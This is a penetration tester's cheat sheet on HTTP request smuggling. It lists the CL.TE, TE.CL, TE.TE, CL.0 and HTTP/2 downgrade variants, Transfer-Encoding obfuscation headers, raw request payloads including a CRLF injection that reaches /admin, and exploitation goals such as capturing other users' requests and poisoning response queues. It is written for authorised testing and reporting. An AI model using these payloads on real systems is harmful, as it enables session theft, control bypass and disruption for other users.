Request Smuggling
Front end and back end disagree about where one request ends. The leftover bytes become a prefix on somebody else’s request.
Tools
- HTTP Request Smuggler, Burp extension
# https://github.com/defparam/smuggler
python3 smuggler.py -u <URL>The four shapes
| Name | Front end | Back end |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | both, one is tricked into ignoring TE | |
| CL.0 | Content-Length | ignores the body entirely |
Obfuscating Transfer-Encoding
For TE.TE you need one end to reject the header and the other to accept it.
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer_Encoding: chunked
TRANSFER-ENCODING: CHUNKEDDetect with timing
Safer than differential responses and does not poison other users.
# CL.TE: back end waits for a chunk that never comes
POST / HTTP/1.1
Content-Length: 4
Transfer-Encoding: chunked
1
A
XA hang means the back end is reading chunks. Burp’s extension does this in Smuggle probe.
HTTP/2 downgrade
Most of the live surface today. The front end speaks HTTP/2, rewrites to HTTP/1.1 for the back end, and trusts the pseudo-header length.
- H2.CL: send an explicit
content-lengthin an HTTP/2 request - H2.TE: send
transfer-encoding: chunkedin an HTTP/2 request - CRLF injection in a header value: smuggle a whole request inside one h2 header
foo: bar\r\nContent-Length: 0\r\n\r\nGET /admin HTTP/1.1\r\nX: xBurp Repeater: enable “Allow HTTP/2 ALPN override” and turn off “Update Content-Length”.
Client-side desync
No back end disagreement needed: the victim’s own browser is the second request. Works against a single server.
POST / HTTP/1.1
Content-Length: 41
GET /404 HTTP/1.1
X: YIf the server ignores the body on that endpoint (CL.0), the browser’s next request is appended. Deliverable from a normal web page.
What to do with it
Ranked by how well it reports:
- Capture another user’s request: smuggle a prefix that stores their request into a page you can read. Proves session theft.
- Bypass front-end controls: reach
/adminwhen the proxy blocks it. - Turn a reflected XSS into a stored one against the next visitor.
- Poison the response queue: every subsequent user gets the wrong response.
- Host header injection chain: see Host Header Injection.
Test on your own connection first. Response-queue poisoning affects real users. Do it once, prove it, stop, and say so in the report.
Articles
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/research/http2
- https://portswigger.net/research/browser-powered-desync-attacks
- https://cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling
- https://paper.seebug.org/1049/
- https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/

Exploitation
- Bring impact by reporting smuggling chained with host injection. Users should make simple request with your injected header.